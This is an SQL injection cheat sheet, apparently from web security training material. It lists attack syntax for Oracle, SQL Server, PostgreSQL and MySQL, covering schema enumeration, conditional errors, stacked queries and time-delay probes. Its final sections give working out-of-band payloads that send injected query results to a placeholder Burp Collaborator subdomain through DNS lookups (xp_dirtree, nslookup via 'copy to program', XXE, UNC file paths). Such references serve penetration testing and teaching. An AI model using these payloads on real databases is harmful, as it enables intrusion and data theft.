SQL Injection Cheatsheet

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation

You can concatenate together multiple strings to make a single string.

Oracle'foo'||'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar'
MySQL'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

OracleSUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle--comment
Microsoft--comment
/*comment*/
PostgreSQL--comment
/*comment*/
MySQL#comment
-- comment [Note the space after the double dash]
/*comment*/

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

OracleDoes not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLDoes not support batched queries.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracledbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT sleep(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

OracleSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

OracleThe following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
Microsoftexec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
PostgreSQLcopy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
MySQLThe following techniques work on Windows only:
LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

OracleSELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'[email protected]+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
PostgreSQLcreate OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
MySQLThe following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'